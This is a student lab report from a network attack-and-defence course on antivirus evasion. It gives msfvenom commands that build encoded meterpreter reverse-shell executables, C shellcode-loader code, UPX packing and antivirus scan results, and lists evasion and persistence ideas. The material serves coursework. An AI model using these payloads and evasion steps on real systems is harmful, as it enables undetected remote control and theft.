2017-2018-2 20155228 《网络对抗技术》 实验三:MAL_免杀原理与实践
2017-2018-2 20155228 《网络对抗技术》 实验三:MAL_免杀原理与实践
实验内容
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
基础问题回答
1. 杀软是如何检测出恶意代码的?
- 基于特征码
基于特征码检测恶意代码举例:
“wannacry”访问特定的空的url测试是否被人注意到,杀毒软件av在检测恶意代码时就可以通过检测是否有访问特定的url的特征码判断是否是恶意代码
入侵检测系统IDS对包的检测:从外部流向内部特定端口的包,在已经建立tcp连接的情况下,如果IDS发现有特定字符串(特征码)就会认为系统被攻击
基于特征码检测恶意代码就要求杀毒软件商建立尽可能大的特征库
- 启发式
特征码是可以清晰判断恶意代码的,而启发式是一种模糊匹配,如果发现有行为的问题,就会认为是恶意代码
启发式与特征码的比较:
特征码的研究落后,就是说只有恶意代码出现后才能有对应的特征码出现,但是特征码有通用性;
启发式的判断标准是一个问题即在什么情况下认为是恶意代码并提出报告,另外启发式会有更大的系统开销。
- 基于行为
基于行为可以认为是引入行为监控的启发式
2. 免杀是做什么?
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
3. 免杀的基本方法有哪些?
改变特征
改变行为
除了常见的反弹连接、隧道、加密之外,杀毒软件av经常是在读写硬盘时检查恶意代码,就可以考虑直接把恶意代码读入内存
另外可以先把恶意代码组成一个简单的通信模块避开杀毒软件的检测,然后通过下载热补丁的方式把功能模块从网上下载下来
在软件开发阶段就故意留下的漏洞,在需要时对漏洞进行攻击,这是杀毒软件难以防范的
通过独立开发的方式开发不流行的恶意代码也是杀毒软件难以发现得
实践总结与体会
单独使用Msfvenom编码器多次编码的免杀效果和不做编码的免杀效果相比并没有优势
在本次实验中用了多种免杀,半手工编写C语言调用Shellcode
打造恶意软件的免杀效果是最好的
但是用virusscan
检测还是会有一些杀毒软件会判定是恶意代码,所以希望通过多种方式组合看看能不能提高免杀效果
根据实验指导书里提供的思路,首先考虑的是对shellcode
本身进行处理
之前用编码器进行编码是一种处理方式,但是效果并不好,这是可能是因为编码本身就带有特征
假设:杀毒软件是基于代码特征来判断恶意代码
就要把代码特征处理掉,也许并不需要复杂的加密运算,按位异或或者直接把代码调整一下顺序应该就可以了
验证一下猜想
1. 在使用msfvenom
生成shellcode
,不写后门而是写一个简单的helloworld
,把shellcode
定义为一个常量并不使不用
程序运行起来了,360并没有提示
那么360应该不是通过检查读入内存的数据来判断恶意代码的
2. 用shellcode
写后门程序编译生成控制台程序
程序运行的时候没有提示,但是结束运行之后有提示
3. 对shellcode
进行简单移位处理,这也可以认为是用古典密码移位密码算法进行加密
本来猜测360应该是应该有提示的,但是事实上并没有,因为这一步的程序的行为和上一步的是一样的,只是对shellcode
做了一点处理
所以估计360对恶意代码的判断应该是综合考虑行为特征和代码特征才做出的判断,单独的代码特征和行为特征都不能让360认定是恶意代码
离实战还缺些什么技术或步骤
网络攻击分为预攻击,攻击,后攻击三个阶段
首先是预攻击:要对目标做信息搜集和分析,获取对方的操作系统、网络结构、域名、IP、端口和服务情况等等,分析信息,发掘漏洞,寻找突破口
然后是攻击:本次实验的主要内容是构建恶意代码,而如何将恶意代码植入目标的计算机中也是这个阶段的任务
最后是后攻击:攻击成功后要做善后处理,擦除痕迹,保证后门长期存在并可用且不被发现
实践过程记录
1. Msfvenom使用编码器
Msfvenom
是Metasploit
平台下用来编码payloads
免杀的工具
首先使用msfvenom
直接生成meterpreter
可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.131 PORT=443 -f exe > 5228met.exe
VirusScan测试结果
然后使用msfvenom
编码生成meterpreter
可执行文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.232.131 LPORT=443 -f exe > 5228met-encoded.exe
VirusScan测试结果
最后使用msfvenom
多次编码生成meterpreter
可执行文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.232.131 LPORT=443 -f exe > 5228met-encoded10.exe
VirusScan测试结果
2. Veil-Evasion
3. C语言调用Shellcode
通过半手工的方式打造恶意软件
3.1 Linux平台交叉编译Windows应用
首先使用msfvenom
生成shellcode
数组
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.131 LPORT=443 -f c
然后使用gedit
用编写c语言恶意代码5228met-CrossCompling.c
unsigned char buf[]=
//省略的shellcode数组具体内容
int main()
{
int (*func)()=(int(*)())buf;
func();
}
最后使用mingw-w64
将c语言文件生成exe文件
i686-w64-mingw32-g++ 5228met-CrossCompling.c -o 5228met-CrossCompling.exe
如果提示找不到命令的话就是没有安装mingw-w64
,通过以下命令进行安装mingw-w64
apt-get update
apt-get install mingw-w64
VirusScan测试结果
360杀毒测试结果
360杀毒检测恶意代码的方式比较玄学,直接对恶意代码右键进行扫描并不会发现这是恶意代码,但是恶意代码就放着不运行,过一会360杀毒就会提示发现恶意代码
我估计右键扫描和定期扫描的检测方式不太一样,考虑到是不运行的情况下检测出恶意代码,那么应该就不存在行为检测,而是特征码匹配得出的结果。
MicrosoftSercurityEssential测试结果
3.2 VisualStudio
首先使用msfvenom
生成shellcode
数组
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.131 LPORT=443 -f c
其次使用VisualStudio
编写c语言恶意代码
注意生成shellcode
数组是unsigned char buf[]
而代码中的数组是const char met[]
// callshellcode.cpp : 定义控制台应用程序的入口点。
#include "stdafx.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char met[] =
//省略的shellcode数组具体内容
int main()
{
DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr =(INT32*) &met;
__asm;
{
call addr;
}
return 0;
}
然后编译运行
连接测试结果
最后生成exe文件
在项目属性-->配置属性-->C/C++-->代码生成-->运行时库设置为多线程调试(/MTd)-->确定
确定之后,再重新编译一次便可以将生成的exe,在没有安装vs2008的机器上使用。这种设置是将项目所有的代码、需要的库文件全部都加入到生成的exe中,也可发现,这种设置的exe文件比较大。
另外,还可以看见,在下拉菜单中,还有一个选项:“多线程(/MT)” ,这个选项也是将所需要的一些文件、代码全部都打包进exe,但是是生成没有调试信息的exe。mtd是添加了调试信息的,mt是没有添加调试信息的。
连接测试结果
360杀毒测试结果
VirusScan测试结果
4. 加壳
4.1 压缩壳UPX
upx 5228met.exe -o 5228metupxed.exe
VirusScan测试结果
4.2 加密壳Hyperion
PSP时间统计
步骤 | 耗时 | 百分比 |
---|---|---|
需求分析 | 20min | 8% |
设计 | 40min | 16% |
代码实现 | 120min | 50% |
测试 | 20min | 8% |
总结分析 | 40min | 16% |
2017-2018-2 20155228 《网络对抗技术》 实验三:MAL_免杀原理与实践的更多相关文章
- 2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践
#2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实 ...
- 2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践
2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践 一 免杀原理与实践说明 (一).实验说明 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件, ...
- 2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践
2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践 --------CONTENTS-------- 1. 免杀原理与实践说明 实验说明 基础问题回答 2. 使用msf ...
- 2018-2019-2 网络对抗技术 20165324 Exp3:免杀原理与实践
2018-2019-2 网络对抗技术 20165324 Exp3:免杀原理与实践 免杀原理及基础问题回答 免杀 1. 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 20165209 《网络对抗技术》Exp3:免杀原理与实践
2018-2019-2 20165209 <网络对抗技术>Exp3:免杀原理与实践 1 免杀原理与实验内容 1.1 免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中 ...
- 2017-2018-2 『网络对抗技术』Exp3:免杀原理与实践
1. 免杀原理与实践说明 一.实验说明 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(1.5分) ...
- 网络对抗技术 2017-2018-2 20152515 Exp3 免杀原理与实践
基础问题回答 (1)杀软是如何检测出恶意代码的? 答:分析恶意程序的行为特征,分析其代码流将其性质归类于恶意代码. (2)免杀是做什么? 答:一般是对恶意软件做处理,让它不被杀毒软件所检测,也是渗透测 ...
- 2017-2018-2 20155315《网络对抗技术》Exp3:免杀原理与实践
实验目的 通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力. 教程 实验内容 使用msf编码器,msfvenom,veil-evasion,shellcode编程等免杀工具 ...
- 20155229《网络对抗技术》Exp3:免杀原理与实践
实验预习 免杀: 看为一种能使病毒木马避免被杀毒软件查杀的技术. 免杀的分类: 开源免杀:指在有病毒.木马源代码的前提下,通过修改源代码进行免杀.. 手工免杀:指在仅有病毒.木马的可执行文件(.exe ...
随机推荐
- winform 利用Http向服务器上传与下载文件
利用在服务器端的IIS,布置“请求处理映射”.从而处理,本地发出Post请求.Url指向web网站所在路径的请求映射.由映射代码实现服务器保存文件. winform里面使用,WebClient的对象, ...
- wf 2017A
给一个多边形,问能放进去的最长的线段的长度. 我调了两个小时结果加了inline就过???什么东西啊.2000+MS->890MS 真实自闭啊. dls寒假已经讲的很清楚了(别问我为什么现在才做 ...
- error MSB8020 问题解决
产生原因: 1.vs 版本过低 2.项目平台工具选择不正确 解决方案: 1.安装VS2015以上的版本 2.选择项目属性,修改平台工具,选择当前版本可用的工具. 具体步骤:右键点击你的项目,选择 Pr ...
- 20165311 《网络对抗技术》 Kali安装
一.目的要求 下载 安装 网络 共享 软件源 二.主要步骤 从官网下载软件安装包 安装的比较顺利 具体截图就不放上来了 安装结果图: 网络配置和共享文件夹设置 网络配置: 由于我之前安装虚拟机,所以并 ...
- Math工具类
public static void main(String[] args) { // 工具类,所有方法都以静态方法提供,没有实例存在的意义 // 不提供任何实例的方法,代表当前类属于无状态的. // ...
- 第二次C语言实验
Part1: printf(),scanf()函数的用法 /* C语言程序设计教程学习指导>p119 实验内容(2) 这是一个格式化输入输出函数及格式符使用练习 找出两处错误,修改并运行程序 为 ...
- API认证&SDK&RESTful
python API的安全认证 我们根据pid加客户端的时间戳进行加密md5(pid|时间戳)得到的单向加密串,与时间戳,或者其它字段的串的url给服务端. 服务端接收到请求的url进行分析 客户 ...
- sourceTree如何不用注册就使用
下载好之后会有这么一个界面要求你注册或登录.(不管它)将下面的一串串放进我的电脑的地址栏,打开sourcetree的文件夹 %LocalAppData%\Atlassian\SourceTree\ 注 ...
- RoR - Restful Actions
Index: 用于检索所有条目 # index.json.jbuilder json.array!(@post) do |post| json.extract! post, :id, :title, ...
- Spring Boot(二):Spring-Data-JPA操作数据库( Hibernate)增删改查
一.Maven使用3.3.9版本或以上,选择Binary 版本 二.添加spring-data-jpa和数据库依赖,以oracle为例 三.添加连接数据库配置 四.新建model自动生成数据库表(不用 ...